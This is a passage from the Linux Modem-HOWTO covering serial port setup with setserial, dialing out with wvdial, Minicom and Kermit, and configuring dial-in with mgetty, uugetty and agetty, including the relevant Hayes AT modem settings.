The file most commonly used to run setserial at boot-time (in conformance with the configuration file) is now /etc/init.d/setserial (Debian) or /etc/init.d/serial (Redhat), or etc., but it should not normally be edited. For 2.15, Redhat 6.0 just had a file /usr/doc/setserial-2.15/rc.serial which you have to move to /etc/init.d/ if you want setserial to run at boot-time.

To disable a port, use setserial to set it to "uart none". The format of /etc/serial.conf appears to be just like that of the parameters placed after "setserial" on the command line with one line for each port. If you don't use autosave, you may edit /etc/serial.conf manually.

BUG: As of July 1999 there is a bug/problem since with ###AUTOSAVE### only the setserial parameters displayed by "setserial -Gg /dev/ttyS*" get saved but the other parameters don't get saved. Use the -a flag to "setserial" to see all parameters. This will only affect a small minority of users since the defaults for the parameters not saved are usually OK for most situations. It's been reported as a bug and may be fixed by now.

In order to force the current settings set by setserial to be saved to the configuration file (serial.conf) without shutting down, do what normally happens when you shutdown: Run the shell-script /etc/init.d/{set}serial stop. The "stop" command will save the current configuration but the serial ports still keep working OK.

In some cases you may wind up with both the old and new configuration methods installed but hopefully only one of them runs at boot-time. Debian labeled obsolete files with "...pre-2.15".

IRQs

By default, both ttyS0 and ttyS2 will share IRQ 4, while ttyS1 and ttyS3 share IRQ 3. But actually sharing serial interrupts (using them in running programs) is not permitted unless you: 1. have kernel 2.2 or better, and 2. you've complied in support for this, and 3. your serial hardware supports it. See

If you only have two serial ports, ttyS0 and ttyS1, you're still OK since IRQ sharing conflicts don't exist for non-existent devices.

If you add an internal modem and retain ttyS0 and ttyS1, then you should attempt to find an unused IRQ and set it both on your serial port (or modem card) and then use setserial to assign it to your device driver. If IRQ 5 is not being used for a sound card, this may be one you can use for a modem. To set the IRQ in hardware you may need to use isapnp, a PnP BIOS, or patch Linux to make it PnP. To help you determine which spare IRQ's you might have, type "man setserial" and search for say: "IRQ 11".

Laptops: PCMCIA

If you have a Laptop, read PCMCIA-HOWTO for info on the serial configuration. For serial ports on the motherboard, setserial is used just like it is for a desktop. But for PCMCIA cards (such as a modem) it's a different story. The configuring of the PCMCIA system should automatically run setserial so you shouldn't need to run it. If you do run it (by a script file or by /etc/serial.conf) it might be different and cause trouble. The autosave feature for serial.conf shouldn't save anything for PCMCIA cards (but Debian did until 2.15-7). Of course, it's always OK to use setserial to find out how the driver is configured for PCMCIA cards.

10.2 What is isapnp ?

isapnp is a program to configure Plug-and-Play (PnP) devices on the ISA bus including internal modems. It comes in a package called "isapnptools" and includes another program, "pnpdump" which finds all your ISA PnP devices and shows you options for configuring them in a format which may be added to the PnP configuration file: /etc/isapnp.conf. It may also be used with the --dumpregs option to show the current IO address and IRQ of the modem's serial port. The isapnp command may be put into a startup file so that it runs each time you start the computer and thus will configure ISA PnP devices. It is able to do this even if your BIOS doesn't support PnP. See Plug-and-Play-HOWTO.

10.3 What is wvdialconf ?

wvdialconf will try to find which serial port (ttyS?) has a modem on it. It also creates a configuration program for the wvdial program. wvdial is used for simplified dialing out using the PPP protocol to an ISP. But you don't need to install PPP in order to use wvdialconf. It will only find modems which are not in use. It will also automatically devise a "suitable" init strings but sometimes gets it wrong. Since this command has no options, it's simple to use but you must give it the name of a file to put the init string (and other data) into. For example type: wvdialconf my_config_file_name.


Modem-HOWTO : Trying Out Your Modem (Dialing Out)

 Next Previous Contents

11. Trying Out Your Modem (Dialing Out)

11.1 Are You Ready to Dial Out ?

Once you've plugged in your modem and know which serial port it's on you're ready to try using it. If you already have an account with an ISP to connect to the Internet, you could try using a program like "wvdial" to connect to the Internet using the PPP protocol.

As an alternative to taking one big step using PPP to connect to the Internet, you could do a two step process: First just test out your modem without using PPP (using Minicom or Kermit). Then if your modem works OK, use "wvdial" or other ppp dialer to connect to the Internet. A different strategy is to first try a ppp dialer and then if that doesn't work out, fallback to Minicom or Kermit to see if your modem works OK. Knowing how to use either Minicom or Kermit is handy for dialing out to some places directly without going thru the Internet. If you are going to use Minicom or Kermit you must find a phone number to dial that will accept phone calls from a computer (without using PPP). Perhaps a local library has such a phone number for its on-line catalog.

Then make sure you are ready to phone. Do you know what serial port (such as ttyS2) your modem is on? You should have found this out when you io-irq configured your serial ports. Have you decided what speed you are going to use for this port? See Speed Table for a quick selection or What Speed Should I Use with My Modem for more details. If you have no clue of what speed to set, try setting it a few times faster than the advertised speed of your modem. Also remember that if you see a menu where an option is "hardware flow control" and/or "RTS/CTS" or the like, select it. Is a live telephone cable plugged in to your modem? You may want to connect this cable to a real telephone to make sure that it can produce a dial tone.

Now you need to select a communication (dialing) program to use to dial out. Simple dialing programs include: minicom, seyon (X Window), and kermit. Internet dialing programs (using PPP) include wvdial, kppp (for KDE), gnome-ppp (for gnome). See section Communications Programs about some communications programs. Three examples are presented next: Dialing Out with wvdial Dialing Out with Minicom and Dialing Out with Kermit

11.2 Dialing Out with wvdial

Wvdial is a program with not only dials out, but starts PPP and logs you in to an ISP where you get to the Internet. Wvdial may be configured during the installation process or by using the program "wvdialconf". See the man pages for both "wvdialconf" and "wvdial". However, before using wvdial you must do two other tasks not covered by the wvdial documentation:

  • set up your network on your PC. The old HOWTO, "ISP-Hookup-HOWTO" has some info on how to do this but fails to mention wvdial which replaces "chatscripts".
  • configure your browser

11.3 Dialing Out with Minicom

Minicom comes with most Linux distributions. To configure it you should be the root user. Type "minicom -s" to configure. This will take you directly to the configuration (set-up) menus. Alternatively you could just run "minicom" and then type ^A to see the bottom status line. This shows to type ^A Z for help (you've already typed the ^A so just type z). From the help menu go to the Configuration menu.

Most of the options don't need to be set for just simply dialing out. To configure you have to supply a few basic items: the name of the serial port your modem is on such as /dev/ttyS2 and the speed such as 115200. These are set at the serial port menu. Go to it and set them. Also (if possible) set hardware flow control (RTS/CTS). Then save them. When typing in the speed, you should also see something like "8N1" which you should leave alone. It means: 8-bit bytes, No parity, 1 stop-bit appended to each byte. If you can't find the speed you want, a lower speed will always work for a test. Exit (hit return) when done and save the configuration as default (dfl) using the menu. You may want to exit minicom and start it again so it can now find the serial port and initialize the modem, or you could go to help and tell minicom to initialize the modem.

Now you are ready to dial. But first at the main screen you get after you first type "minicom" make sure there's a modem there by typing AT and then hit the <enter> key. It should display OK. If it doesn't something is wrong and there is no point of trying to dial.

If you got the "OK" go back to help and select the dialing directory. You may edit it and type in a phone number, etc. into the directory and then select "dial" to dial it. Alternatively, you may just dial manually (by selecting "manual" and then type the number at the keyboard). If it doesn't work, carefully note any error messages and try to figure out what went wrong.

11.4 Dialing Out with Kermit

You can find the latest version of kermit at http://www.columbia.edu/kermit/. For example, say your modem was on ttyS3, and its speed was 115200 bps. You would do the following:

linux# kermit
C-Kermit 6.0.192, 6 Sep 96, for Linux
 Copyright (C) 1985, 1996,
  Trustees of Columbia University in the City of New York.
Default file-transfer mode is BINARY
Type ? or HELP for help.
C-Kermit>set line /dev/ttyS3
C-Kermit>set carrier-watch off
C-Kermit>set speed 115200
/dev/ttyS3, 115200 bps
C-Kermit>c
Connecting to /dev/ttyS3, speed 115200.
The escape character is Ctrl-\ (ASCII 28, FS)
Type the escape character followed by C to get back,
or followed by ? to see other options.
ATE1Q0V1                           ; you type this and then the Enter key
OK                                 ; modem should respond with this

If your modem responds to AT commands, you can assume your modem is working correctly on the Linux side. Now try calling another modem by typing:

ATDT7654321
where 7654321 is a phone number. Use ATDP instead of ATDT if you have a pulse line. If the call goes through, your modem is working.

To get back to the kermit prompt, hold down the Ctrl key, press the backslash key, then let go of the Ctrl key, then press the C key:

Ctrl-\-C
(Back at linux)
C-Kermit>quit
linux#

This was just a test using the primitive "by-hand" dialing method. The normal method is to let kermit do the dialing for you with its built-in modem database and automatic dialing features, for example using a US Robotics (USR) modem:

linux# kermit
C-Kermit 6.0.192, 6 Sep 1997, for Linux
 Copyright (C) 1985, 1996,
  Trustees of Columbia University in the City of New York.
Default file-transfer mode is BINARY
Type ? or HELP for help
C-Kermit>set modem type usr        ; Select modem type
C-Kermit>set line /dev/ttyS3       ; Select communication device
C-Kermit>set speed 115200          ; Set the dialing speed
C-Kermit>dial 7654321              ; Dial
 Number: 7654321
 Device=/dev/ttyS3, modem=usr, speed=115200
 Call completed.<BEEP>
Connecting to /dev/ttyS3, speed 115200
The escape character is Ctrl-\ (ASCII 28, FS).
Type the escape character followed by C to get back,
or followed by ? to see other options.

Welcome to ...

login:


Modem-HOWTO : Dial-In

 Next Previous Contents

12. Dial-In

12.1 Dial-In Overview

Dial-in is where you set up your PC so that others may dial in to your PC (at your phone number) and use your PC. Unfortunately some use the term "dial-in" when what they actually mean is just the opposite: dial-out. Dial-in works like this. Someone with a modem dials your telephone number. Your modem answers the phone ring and connects. Once the caller is connected the getty program is notified and starts the login process for the caller. After the caller has logged in, the caller then may use your PC. It could be almost as if they were sitting at the monitor-console.

The caller may use a script to automatically log in. This script will be of the expect-send type. For example it expects "login:" and then (after it detects "login:") will send the users login name. It next expects the password and then sends the password, etc. Then once the user has been automatically logged in, the /etc/passwd (password file) might specify that a shell (such as bash) will be started for the user. Or it might specify that PPP is to start so that the user may be connected to the Internet. See the PPP-HOWTO for more details. The program that you use at your PC to handle dialin is called getty or mgetty. See Getty

An advanced getty program such as mgetty can watch to see if PPP is started by the PC on the other end. If so, the login prompt would be skipped, a PPP connection would be made, and login would take place automatically over the PPP connection.

12.2 What Happens when Someone Dials In ?

Here's a more detailed description of dialin. This all assumes that you are using either mgetty or uugetty. Agetty is inferior and doesn't work exactly as described below (see About agetty)

For dialin to work, the modem must be listening for a ring and getty must be running and ready to respond to the call. Your modem is normally listening for incoming calls, but what it does when it gets a ring depends on how it's configured. The modem can either automatically answer the phone or not directly answer it. In the latter case the modem sends a "RING" message to getty and then getty tells the modem to answer the ring. In either case, it may be set up to answer on say the 4th ring. This means that if the call is not for the modem, one must walk/run to the phone and pick it up manually before the 4th ring. Then they can talk to the other person. If they get to the phone too late they will hear the screeching noise of the modem which has answered the call.

Once the modem answers the call it sends tones to the other modem (and conversely). The two modems negotiate how they will communicate and when this is completed your modem sends a "CONNECT" message (or the like) to getty. When getty gets this message, it sends a login prompt out the serial port. Once a user name is given to this prompt getty may just call on a program named login to handle the logging in from there on. While getty usually starts running at boot-time it should wait until a connection is made before sending out a "login" prompt.

Now for more details on the two methods of answering the call. For the first method where the modem automatically answers the call, the number of times it will ring before answering is controlled by the S0 register of the modem. If S0 is set to 3, the modem will automatically answer on the 3rd ring. If it's set to 0 then the modem will only answer the call if getty sends it an "A" (= Answer) AT command to the modem while the phone is ringing. (Actually an "ATA" is sent since all modem commands are prefixed by "AT".) This is known as "manual" answering since the modem itself doesn't do it automatically (but getty does). You might think it best to utilize the ability of the modem hardware to automatically answer the call, but it's actually better if getty answers it "manually".

For the "manual" answer case, getty opens the port at boot-time and listens. When the phone rings, a "RING" message is sent to the listening getty. Then if getty wants to answer this ring, it sends the modem an "A" command. Note that getty may be set to answer only after say 4 "RING" messages (the 4th ring) similar to the automatic answer method. The modem then makes a connection and sends a "CONNECT ..." message to getty which then sends a login prompt to the caller. It's not all quite this simple as are some special tricks used to allow dial-out when waiting for a call. See Dialing Out while Waiting for an Incoming Call

The automatic answer case uses the CD (Carrier Detect aka DCD) wire from the modem to the serial port to tell when a connection is made. It works like this. At boot-time getty tries to open the serial port but the attempt fails since the modem has negated CD (the modem is idle). Then the getty program waits at the open statement in the program until a CD signal is asserted. When a CD signal arrives (perhaps hours later) then the port is opened and getty sends the login prompt. While getty is waiting (sleeping) at the open statement, other processes can run so it doesn't degrade computer performance. What actually wakes getty up is an interrupt which is issued when the CD line from the modem changes its state to on.

You may wonder how getty is able to open the serial port in the "manual"-answer case since CD may be negated. Well, there's a way to write a program to force the port to open even if there is no CD signal asserted.

12.3 56k doesn't work

If you expect that people will be able to dial-in to you at 56k, it can't be done unless you have all the following:

  1. You have a digital connection to the telephone company such as a trunkside-T1 or ISDN line
  2. You use special digital modems (see Digital Modems)
  3. You have a "... concentrator", or the like to interface your digital-modems to the digital lines of the telephone company.
A "... concentrator" may be called a "modem concentrator" or a "remote access concentrator" or it could be included in a "remote access server" (RAS) which includes the digital modems, etc. This type of setup is used by ISPs (Internet Service Providers).

12.4 Getty

Introduction to Getty

getty is the program you run for dialin. You don't need it for dialout. In addition to presenting a login prompt, it also may help answer the telephone. Originally getty was used for logging in to a computer from a dumb terminal. A major use of it today is for logging in to a Linux console. There are several different getty programs but a few of these work OK with modems for dialin. The getty program is usually started at boot-time. It must be called from the /etc/inittab file. In this file you may find some examples which you will likely need to edit a bit. Hopefully these examples will be for the flavor of getty installed on your PC.

There are four different getty programs to choose from that may be used with modems for dial-in: mgetty, uugetty, getty_em, and agetty. A brief overview is given in the following subsections. agetty is the weakest of the four and it's mainly for use with directly connected text-terminals. mgetty has support for fax and voice mail but Uugetty doesn't. mgetty allegedly lacks a few of the features of uugetty. getty_em is a simplified version of uugetty. Thus mgetty is likely your best choice unless you are already familiar with uugetty (or find it difficult to get mgetty). The syntax for these getty programs differs, so be sure to check that you are using the correct syntax in /etc/inittab for whichever getty you use.

In order to see what documentation exists about the various gettys on your computer, use the "locate" command. Type: locate "*getty*" (including the quotes may help). Note that many distributions just call the program getty even though it may actually be agetty, uugetty, etc. But if you read the man page (type: man getty), it might disclose which getty it is. This should be the getty program with path /sbin/getty.

Getty "exits" after login (and can respawn)

After you log in you will notice (by using "top", "ps -ax", or "ptree") that the getty process is no longer running. What happened to it? Why does getty restart again if your shell is killed? Here's why.

After you type in your user name, getty takes it and calls the login program telling it your user name. The getty process is replaced by the login process. The login process asks for your password, checks it and starts whatever process is specified in your password file. This process is often the bash shell. If so, bash starts and replaces the login process. Note that one process replaces another and that the bash shell process originally started as the getty process. The implications of this will be explained below.

Now in the /etc/inittab file getty is supposed to respawn (restart) if killed. It says so on the line that calls getty. But if the bash shell (or the login process) is killed, getty respawns (restarts). Why? Well, both the login process and bash are replacements for getty and inherit the signal connections establish by their predecessors. In fact if you observe the details you will notice that the replacement process will have the same process ID as the original process. Thus bash is sort of getty in disguise with the same process ID number. If bash is killed it is just like getty was killed (even though getty isn't running anymore). This results in getty respawning.

When one logs out, all the processes on that serial port are killed including the bash shell. This may also happen (if enabled) if a hangup signal is sent to the serial port by a drop of DCD voltage by the modem. Either the logout or drop in DCD will result in getty respawning. One may force getty to respawn by manually killing bash (or login) either by hitting the k key, etc. while in "top" or with the "kill" command. You will likely need to kill it with signal 9 (which can't be ignored).

About mgetty

mgetty was written as a replacement for uugetty which was in existence long before mgetty. Both are for use with modems but mgetty is best (unless you already are committed to uugetty). mgetty may be also used for directly connected terminals. In addition to allowing dialup logins, mgetty also provides FAX support and auto PPP detection. It permits dialing out when mgetty is waiting for an incoming phone call. There is a supplemental program called vgetty which handles voicemail for some modems. mgetty documentation is fair (except for voice mail), and is not supplemented in this HOWTO. To automatically start PPP one must edit /etc/mgetty/login.conf to enable "AutoPPP" You can find the latest information on mgetty at http://www.leo.org/~doering/mgetty/ and http://alpha.greenie.net/mgetty/

About uugetty

getty_ps contains two programs: getty is used for console and terminal devices, and uugetty for modems. Greg Hankins (former author of Serial-HOWTO) used uugetty so his writings about it are included here. See Uugetty.

About getty_em

This is a simplified version of ``uugetty''. It was written by Vern Hoxie after he became fully confused with complex support files needed for getty_ps and uugetty.

It is part of the collection of serial port utilities and information by Vern Hoxie available via ftp from scicom.alphacdc.com/pub/linux. The name of the collection is ``serial_suite.tgz''.

About agetty

This subsection is long since the author tried using agetty for dialin. agetty is seemingly simple since there are no initialization files. But when I tried it, it opened the serial port even when there was no CD signal present. It then sent both a login prompt and the /etc/issue file to the modem in the AT-command state before a connection was made. The modem thinks all this an AT command and if it does contain any "at" strings (by accident) it is likely to adversely modify your modem profile. Echo wars can start where getty and the modem send the same string back and forth over and over. You may see a "respawning too rapidly" error message if this happens. To prevent this you need to disable all echoing and result codes from the modem (E0 and Q1). Also use the -i option with agetty to prevent any /etc/issue file from being sent.

If you start getty on the modem port and a few seconds later find that you have the login process running on that port instead of getty, it means that a bogus user name has been sent to agetty from the modem. To keep this from happening, I had to save my dial-in profile in the modem so that it become effective at power-on. The other saved profile is for dial-out. Then any dial-out programs which use the modem must use a Z, Z0, or Z1 in their init string to initialize the modem for dial-out (by loading the saved dial-out profile). If the 1-profile is for dial-in you use Z1 to load it, etc. If you want to listen for dial-in later on, then the modem needs to be reset to the dial-in profile. Not all dial-out programs can do this reset upon exit from them.

Thus while agetty may work OK if you set up a dial-in profile correctly in the modem hardware, it's probably best suited for virtual consoles or terminals rather than modems. If agetty is running for dialin, there's no easy way to dial out. When someone first dials in to agetty, they should hit the return key to get the login prompt. agetty in the Debian distribution is just named getty.

About mingetty, and fbgetty

mingetty is a small getty that will work only for monitors (the usual console) so you can't use it with modems for dialin. fbgetty is as above but supports framebuffers.

12.5 Why "Manual" Answer is Best

The difference between the two ways of answering is exhibited when the computer happens to be down but the modem is still working. For the manual case, the "RING" message is sent to getty but since the computer is down, getty isn't there and the phone never gets answered. There are no telephone charges when there is no answer. For the automatic answer case, the modem (which is still on) answers the phone but no login message is ever sent since the computer is down. The phone bill runs up as the waiting continues. If the phone call is toll-free, it doesn't make much difference, although it may be frustrating waiting for a login prompt that never arrives. mgetty uses manual answer. Uugetty can do this too using a configuration script.

12.6 Dialing Out while Waiting for an Incoming Call

Here's what could go wrong with a simple-minded manual-answer situation. Suppose another process dials out while getty is listening for a "RING" message from its modem on the serial wire. Then incoming bytes for the dial-out process flow from the modem to the serial port. For example, your modem may send a "CONNECT" message to your serial port when the dial-out process connects. If getty reads this there's trouble since reads are destructive reads. Once getty reads it, then the dial-out process that is expecting "CONNECT" (or something else) can't read it. Thus the dial-out process is likely to fail.

There's a way to avoid this and here's how mgetty does it. When mgetty is listing for an incoming call, it doesn't read anything from the port until it thinks that the characters are for mgetty. Mgetty monitors the port and if characters arrive, it doesn't read them right away. Instead, it first checks to see if another process is using the port. If so, mgetty backs off and closes the port (but the port remains open for the other process). Thus if another process dials out, mgetty doesn't interfere with it. When the other process finally closes the port, then mgetty resumes "listening". It's a special type of "listening" that refrains from reading until mgetty believes that what it will read is for mgetty (hopefully a "RING" message).

When mgetty checks to see if another process is using the port, it actually checks for valid lockfiles on the port. If the other process failed to use lockfiles, too bad for it. For more details see the mgetty documentation: "How mgetty works". For programmers only: "listening" is actually using the system calls "poll" or "select" to monitor the port. They are likely also used to monitor the port when a non-mgetty process is using the port.

With auto-answer, getty is waiting for CD to be asserted so that it can open the port. One may dial out, but once a connection is made the modem's CD is asserted. If getty were to then read the port it would eat the characters intended to be read by the dial-out connection. While agetty will have this problem, it's claimed that uugetty will check lockfiles before reading (similar to mgetty).

12.7 Ending a Dial-in Call

There are two major ways to end a dial-in call. The caller may either logout or just hang up. For the hangup case see Caller hangs up

Caller logs out

When the call is over the normal way to end the connection is for the user to log out. This will kill the remote user's shell on your PC. Now since there is nothing running on this port, the port is closed and sends a hangup signal to the modem by negating DTR. This will only happen if stty -a shows hupcl (hang up on close) but this should be the default.

The modem getting this hangup (negated DTR signal) will then hang up the phone line (provided the modem has been configured to do this --see below). The modem should then be ready to answer any new incoming calls. Killing the user's shell also causes getty to respawn and wait for the next call.

As an alternative to using DTR to tell the modem to hang up the phone line, a script used after getty respawns may send the unique escape code sequence +++ to the modem to put it into AT command mode. The +++ must have both an initial and final time delay. Once in AT command mode, a hangup command (H0) may be sent to the modem as well as other AT commands. If the PC fails to successfully signal the modem when a logout happens (or to use the +++ escape when restarting getty), then the modem is apt to remain in on-line mode and no more incoming calls can be received.

When DTR drops (is negated)

When DTR (the "hang-up" signal) is negated, what the modem does depends on the value of the &D option in the modem's profile. If it's &D0 nothing at all happens (the modem ignores the negation of DTR).

&D2: The modem will hang up and go into AT command mode (off-line) to wait for the next call. Except that it will not automatically answer the phone (if it should) until DTR is asserted again. But since getty is set to respawn (in /etc/inittab) then getty will immediately restart after a logout and this will assert DTR. So what happens when someone logs out is that DTR only is negated for a fraction of a second (winks) before it gets asserted again. For the above to happen, the DTR must be negated for at least the time specified by register S25.

&D3: In this case the modem does a hard reset: It hangs up and restores the saved profile as specified by &Y. It should now be in the same state it was in when first powered on and it's ready for incoming calls. The S25 limit may have no effect so even a very short "wink" is detected. Another brand of modem says the S25 limit is still valid. Thus &D3 is a stronger "reset" than &D2 which doesn't restore the saved profile and could require a longer wink to work.

If you don't know which of the above two to use try using &D3 first. Under favorable conditions, either one should work OK. It's reported that some modems require &D2.

Caller hangs up

Instead of logging out the normal way, a caller may just hang up. This results in a lost connection and of course a loss of carrier. Other problems could also cause a loss of carrier. The "NO CARRIER" result code is displayed. The modem hangs up and waits for the next call. Except that there is no getty running yet to start the login process.

Here's how getty gets started again: The loss of carrier should negate the CD signal sent by the modem to the serial port (provided &C1 has been set). When the the PC's serial port gets the negated CD signal it should kill the shell and then getty should respawn.

This paragraph is about other things that happen but do nothing. Only the curious need read it. When the shell is killed a DTR wink is sent to the modem but since the modem is not on-line anymore and has already hung up, the modem ignores the negation of DTR (hang up). The loss of carrier also negates the DSR signal sent by the modem to the serial port (provided &S1 or &S2 is set) but this signal is ignored (by Linux).

12.8 Dial-in Modem Configuration

The getty programs have a provision for sending an init string to the modem to configure it. But you may need to edit it. Another method is to save a suitable init string inside the modem (see Init Strings: Saving and Recalling for how to save it in the modem).

The configuration for dial-in depends both on the getty you use and perhaps on your modem. If you can't find suggested configurations in other documentation here are some hints using Hayes AT commands:

  • &C1 Make the CD line to the serial port track the actual state of the carrier (CD asserted only when there's carrier). Getty_em requires &C0 (CD always asserted)
  • &D3 Do a hard reset of the modem when someone logs out (or hangs up). For some modems it's reported that &D2 is required since they can't tolerate a hard reset ??
  • E0 Don't echo AT commands back to the serial port. This is a must for agetty. Some suggest E1 (echo AT commands) for mgetty. For dial-out you want E1 so you can see what was sent.
  • &K3 Use hardware flow control
  • Q0 Echo results words (such as CONNECT). Most gettys use them. But it's reported an AT&T version of uugetty and agetty require Q2 (no result words for dial-in).
  • S0=? mgetty suggests S0=0 (manual answer). If you set S0=3 the modem will auto-answer on the 3rd ring, etc. Agetty uses auto-answer. So does uugetty (usually).
  • V1 Display results (such as CONNECT) in words (and not in code)
  • X4 Check for dialtone and busy signal

12.9 Callback

Callback is where someone first dials in to your modem. Then, you get a little info from the caller and then call it right back. Why would you want to do this? One reason is to save on telephone bills if you can call the caller cheaper than the caller can call you. Another is to make sure that the caller really is who it claims to be. If a caller calls you and claims to be calling from its usual phone number, then one way to verify this is to actually place a new call to that number.

There's a program for Linux called "callback" that works with mgetty. It's at ftp://ftp.icce.rug.nl/pub/unix/. Step-by-step instructions on how someone installed it (and PPP) is at http://www.stokely.com/unix.serial.port.resources/callback.html

12.10 Voice Mail

Voice mail is like an answering machine run by a computer. To do this you must have a modem that supports "voice" and supporting software. Instead of storing the messages on tape, they are stored in digital format on a disk. When a person phones you, they hear a "greeting" message and can then leave a message for you. More advanced systems would have caller-selectable mail boxes and caller-selectable messages to listen to. Free software is available in Linux for simple answering, but doesn't seem to be available yet for the more advanced stuff.

I know of two different voicemail packages for Linux. One is a very minimal package (see Voicemail Software). The other, more advanced, but currently poorly documented, is vgetty. It's an optional addition to the well documented and widely distributed mgetty program. It supports ZyXEL-like voice modem commands. In the Debian distribution, you must get the mgetty-voice package in addition to the mgetty package and mgetty-doc package. Obsolete documentation has been removed from mgetty but replacement documentation is lacking (except if you use the -h (help) option when running certain programs, etc.). But one sees postings about using it on the mgetty newsgroup. See About mgetty. It seems that vgetty is currently not very stable but it's successfully being used and development of it continues. If this is the latest version of this HOWTO can someone who is familiar with vgetty please let me know its current status.

12.11 Simple Manual Dial-In

This is really doing it manually! There's a way to answer a call without bothering to edit any configuration files for dial-in or enabling getty but the caller can't login. To do this you run a terminal program such as minicom. Make sure it's connected to your modem by typing "AT <enter>" and expect "OK". Then wait for the call. Then you really answer the call manually by typing "ATA" when the phone is ringing. This doesn't run getty and the caller can't login. But if the caller is calling in with a terminal program they may type a message to your screen (and conversely). You both may send files back and forth by using the commands built into the terminal programs (such as minicoms). Another way to answer such a call would be to type say "ATS0=3" just before the call comes in to enable the modem to auto-answer on the third ring.

This is one way to crudely transfer files with someone on a MS Windows PC who uses HyperTerminal or Terminal (for Windows 3.x or DOS). These two MS programs are something like minicom. Using this simple manual method (for Linux-to-Linux or MS-to-Linux) requires two people to be present, one one each end of the phone line connection running a terminal communications program. Be warned that if both people type at the same time it's chaos. It's a "last resort" way to transfer files between any two people that have PCs (either Linux or MS Windows). It could also be used for testing your modem or as a preliminary test before setting up dial-in.

12.12 Complex GUI Dial-In, VNC

At the opposite extreme to the simple (but labor intensive) manual dial-in is one that results in GUI graphical interface to the Linux PC. This generally requires that a network running TCP/IP protocol exist between the two computers. One way to get such a "network" is to dial-out to a PC set for dial-in and then run PPP on the phone line. PPP will use TCP/IP protocol encapsulated inside the PPP packets. Both sides must run PPP and mgetty can be configured to start PPP as soon as the caller does. The caller may use a PPP-dialer program just like they were dialing an ISP. Programs such as wvdial, eznet, or chat scripts should do it.

Instead of this tiny network over a phone connection a much larger network (the entire world) is reached via an ISP. For their lowest-rate service many of them use proxy servers that will not give you access to the ports you need to use. Even if they don't use proxy servers, the IP address they give you is only temporary for the session, so you'll need to email this IP to whomever wants to reach you. If you get a more expensive ISP service, then you can avoid these problems.

One way to get a GUI interface from the remote PC is to run the GPLed program: Virtual Network Computer (VNC) from AT&T. It has a server part which you run on your Linux PC for dial-in and a viewer (client) part used for dial-out. Neither of these actually does any dialing or login but assumes that you have a network already set up. The VNC server has an X-server built in and may use Linux's twm window manager. See the article on VNC in Linux Magazine: http://www.linux-mag.com/2000-11/desktop_03.html. The AT&T site for VNC is: http://www.uk.research.att.com/vnc/.

With VNC one can also connect to remote Windows PCs, get the Windows GUI on a Linux PC, and run Windows programs on the remote Windows PC. Of course the Windows PC must be running VNC (as a server). Obviously, a GUI connection over a modem will be slower than a text-only connection especially if you run KDE or GNOME or want 16-bit color.

12.13 Interoperability with MS Windows

Once you have dial-in set up, others may call in to you using minicom (or the like) from Unix-like systems. From MS Windows one may call you using "HyperTerminal (or just "Terminal" in Windows 3.1 or DOS).

If in Windows one wants to use dial-up with a network protocol over the phone line it's called "Dial-up Networking". But it probably will not be able to communicate with Linux. For setting up such dial-in in Windows one clicks on "server" while dial-out is the "client. Such dial-in is often called "remote control" meaning that the caller can use your PC, run programs on it, and thus control it remotely.

While it's easy to call in to a text-based Linux system from MS Windows, it's not so easy the other way around (partly because Windows is not text-based and would need to put the caller into DOS where files wouldn't be protected like they are in Linux.

However Windows "Dial-up Networking" can establish a dial-in provided the caller uses certain network protocols over the phone line: MS's or Novel's (two protocols not liked by Linux). So if someone with Windows enables their Dial-up networking server in Windows 98, you can't just dial in directly to it from Linux. This type of dial-in doesn't permit the caller to run most of the programs on the host like Linux does. It's called "remote access" and one may transfer files, use the hosts printer, access databases, etc. Is there some way to interface to Dial-up Networking from Linux??

It is possible for two people to crudely chat and send files using Minicom on the Linux end and HyperTerminal on the Windows end. It's all done manually by two live persons, one on each end of the phone connection. See Simple Manual Dial-In.

At the opposite extreme, one would like to run a dial-in so that the person calling would get a GUI interface. For that a network protocol is normally used. It's possible using PC Anywhere for Windows or VNC for both Linux and Windows. But PC Anywhere doesn't seem to talk to Linux ?? Other Window programs for "remote control" include Laplink, Co-Session, and Microcom. Do any such programs support Linux besides VNC ??


Modem-HOWTO : Uugetty for Dial-In (from the old Serial-HOWTO)

 Next Previous Contents

13. Uugetty for Dial-In (from the old Serial-HOWTO)

Be aware that you could use mgetty as a (better?) alternative to uugetty. mgetty is newer and more popular than uugetty. See Getty for a brief comparison of these 2 gettys.

13.1 Installing getty_ps

Since uugetty is part of getty_ps you'll first have to install getty_ps. If you don't have it, get the latest version from metalab.unc.edu:/pub/Linux/system/serial. In particular, if you want to use high speeds (57600 and 115200 bps), you must get version 2.0.7j or later. You must also have libc 5.x or greater.

By default, getty_ps will be configured to be Linux FSSTND (File System Standard) compliant, which means that the binaries will be in /sbin, and the config files will be named /etc/conf.{uu}getty.ttyS N. This is not apparent from the documentation! It will also expect lock files to go in /var/lock. Make sure you have the /var/lock directory.

If you don't want FSSTND compliance, binaries will go in /etc, config files will go in /etc/default/{uu}getty.ttyS N, and lock files will go in /usr/spool/uucp. I recommend doing things this way if you are using UUCP, because UUCP will have problems if you move the lock files to where it isn't looking for them.

getty_ps can also use syslogd to log messages. See the man pages for syslogd(1) and syslog.conf(5) for setting up syslogd, if you don't have it running already. Messages are logged with priority LOG_AUTH, errors use LOG_ERR, and debugging uses LOG_DEBUG. If you don't want to use syslogd you can edit tune.h in the getty_ps source files to use a log file for messages instead, namely /var/adm/getty.log by default.

Decide on if you want FSSTND compliance and syslog capability. You can also choose a combination of the two. Edit the Makefile, tune.h and config.h to reflect your decisions. Then compile and install according to the instructions included with the package.

13.2 Setting up uugetty

With uugetty you may dial out with your modem while uugetty is watching the port for logins. uugetty does important lock file checking. Update /etc/gettydefs to include an entry for your modem. For help with the meaning of the entries that you put into /etc/gettydefs, see the "serial_suite" collected by Vern Hoxie. How to get it is in section See About getty_em. When you are done editing /etc/gettydefs, you can verify that the syntax is correct by doing:

linux# getty -c /etc/gettydefs

Modern Modems

If you have a 9600 bps or faster modem with data compression, you can lock your serial port to one speed. For example:

# 115200 fixed speed
F115200# B115200 CS8 # B115200 SANE -ISTRIP HUPCL #@S @L @B login: #F115200

If you have your modem set up to do RTS/CTS hardware flow control, you can add CRTSCTS to the entries:

# 115200 fixed speed with hardware flow control
F115200# B115200 CS8 CRTSCTS # B115200 SANE -ISTRIP HUPCL CRTSCTS #@S @L @B login: #F115200

Old slow modems

